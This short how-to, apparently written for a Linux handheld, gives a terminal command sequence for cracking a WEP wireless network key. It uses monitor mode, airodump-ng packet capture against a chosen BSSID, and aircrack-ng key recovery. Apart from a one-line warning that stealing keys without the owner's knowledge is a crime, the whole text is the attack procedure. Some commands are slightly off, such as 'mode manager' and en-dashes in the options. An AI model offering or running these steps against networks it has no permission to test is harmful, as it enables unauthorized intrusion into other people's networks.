Remember that stealing the keys of a wireless network
without the knowledge of the network owner is a criminal
offense!

Type in X terminal:

  • sudo gainroot
  • ifconfig wlan0 down
  • iwconfig wlan0 mode monitor
  • ifconfig wlan0 up
  • airodump-ng wlan0
  • airodump-ng –channel X –bssid Y -w wepkey –ivs wlan0
  • aircrack-ng wepkey*.ivs

To return type in X terminal:

  • ifconfig wlan0 down
  • iwconfig wlan0 mode manager
  • ifconfig wlan0 up